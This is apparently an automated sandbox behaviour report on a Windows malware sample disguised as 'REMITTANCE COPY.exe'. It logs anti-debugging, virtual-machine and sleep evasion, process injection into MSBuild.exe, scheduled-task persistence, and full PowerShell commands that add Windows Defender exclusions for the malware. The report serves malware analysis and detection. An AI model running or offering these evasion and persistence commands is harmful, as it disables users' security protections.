Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Memory allocated: 28F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Memory allocated: 5C70000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Memory allocated: 6C70000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Memory allocated: 6DA0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Memory allocated: 7DA0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Memory allocated: 84E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Memory allocated: 5C70000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Memory allocated: 1510000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Memory allocated: 2F60000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Memory allocated: 2E90000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Memory allocated: 11C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Memory allocated: 2C20000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Memory allocated: 4C20000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Memory allocated: 60B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Memory allocated: 70B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Memory allocated: 71F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Memory allocated: 81F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Memory allocated: 8930000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Memory allocated: 60B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Memory allocated: 12E0000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Memory allocated: 2F00000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Memory allocated: 2C20000 memory reserve \| memory write watch

Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6357	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1371	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6854	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2471	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Window / User API: threadDelayed 1474	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Window / User API: threadDelayed 2108	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Window / User API: threadDelayed 3053
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Window / User API: threadDelayed 733

Source: C:\Users\user\Desktop\REMITTANCE COPY.exe TID: 1964	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2212	Thread sleep time: -6456360425798339s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1472	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6520	Thread sleep count: 6854 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2704	Thread sleep count: 2471 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4012	Thread sleep time: -7378697629483816s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 728	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 4432	Thread sleep time: -14757395258967632s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 4432	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 3436	Thread sleep count: 1474 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 4432	Thread sleep time: -99875s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 3436	Thread sleep count: 2108 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 4432	Thread sleep time: -99765s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 4432	Thread sleep time: -99656s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 4432	Thread sleep time: -99547s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 4432	Thread sleep time: -99429s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 4432	Thread sleep time: -99312s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 4432	Thread sleep time: -99203s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 4432	Thread sleep time: -99093s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 4432	Thread sleep time: -98984s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 4432	Thread sleep time: -98869s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 4432	Thread sleep time: -98750s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 4432	Thread sleep time: -98640s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 4432	Thread sleep time: -98531s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 4432	Thread sleep time: -98414s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 4432	Thread sleep time: -98297s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 4432	Thread sleep time: -98172s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 4432	Thread sleep time: -98062s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 4432	Thread sleep time: -97953s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe TID: 5640	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 1992	Thread sleep time: -10145709240540247s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 1992	Thread sleep time: -100000s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 1992	Thread sleep time: -99890s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 3680	Thread sleep count: 3053 > 30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 1992	Thread sleep time: -99781s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 3680	Thread sleep count: 733 > 30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 1992	Thread sleep time: -99672s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 1992	Thread sleep time: -99547s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 1992	Thread sleep time: -99437s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 1992	Thread sleep time: -99328s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 1992	Thread sleep time: -99219s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 1992	Thread sleep time: -99094s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 1992	Thread sleep time: -98984s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 1992	Thread sleep time: -98875s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 1992	Thread sleep time: -98765s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 1992	Thread sleep time: -98656s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 1992	Thread sleep time: -98547s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 1992	Thread sleep time: -98437s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 1992	Thread sleep time: -98328s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 1992	Thread sleep time: -98213s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 1992	Thread sleep time: -98094s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 1992	Thread sleep time: -97984s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 1992	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 99875	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 99765	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 99656	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 99547	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 99429	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 99312	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 99203	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 99093	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 98984	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 98869	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 98750	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 98640	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 98531	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 98414	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 98297	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 98172	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 98062	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 97953	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 100000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 99890
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 99781
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 99672
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 99547
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 99437
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 99328
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 99219
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 99094
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 98984
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 98875
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 98765
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 98656
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 98547
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 98437
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 98328
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 98213
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 98094
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 97984
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	File opened: C:\Users\user\AppData\Local\Temp\acrocef_low\NULL	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	File opened: C:\Users\user\AppData\Local\Temp\acrord32_super_sbx\NULL	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	File opened: C:\Users\user\AppData\Local\Temp\acrord32_super_sbx\Adobe\NULL	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	File opened: C:\Users\user\AppData\Local\Temp\acrord32_super_sbx\Adobe\Acrobat	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	File opened: C:\Users\user\AppData\Local\Temp\acrord32_super_sbx	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	File opened: C:\Users\user\AppData\Local\Temp\acrord32_super_sbx\Adobe	Jump to behavior

Source: MSBuild.exe, 00000008.00000002.2082784983.00000000062BB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll8
Source: CNqCubHKvlzbGo.exe, 00000009.00000002.2096737807.0000000003CC6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmware
Source: CNqCubHKvlzbGo.exe, 00000009.00000002.2096737807.0000000003CC6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMwareVBoxESelect * from Win32_ComputerSystem
Source: MSBuild.exe, 0000000D.00000002.3257784727.00000000060FB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\REMITTANCE COPY.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 8_2_015170A8 CheckRemoteDebuggerPresent,

8_2_015170A8

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\user\Desktop\REMITTANCE COPY.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\REMITTANCE COPY.exe"
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe"
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\REMITTANCE COPY.exe"	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe"	Jump to behavior

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\REMITTANCE COPY.exe

Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 protect: page execute and read and write

Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\REMITTANCE COPY.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 value starts with: 4D5A

Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 402000	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 43E000	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 440000	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: EFF008	Jump to behavior

Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\REMITTANCE COPY.exe"	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe"	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\CNqCubHKvlzbGo" /XML "C:\Users\user\AppData\Local\Temp\tmpEBC.tmp"	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\CNqCubHKvlzbGo" /XML "C:\Users\user\AppData\Local\Temp\tmp20AE.tmp"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior

Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Queries volume information: C:\Users\user\Desktop\REMITTANCE COPY.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
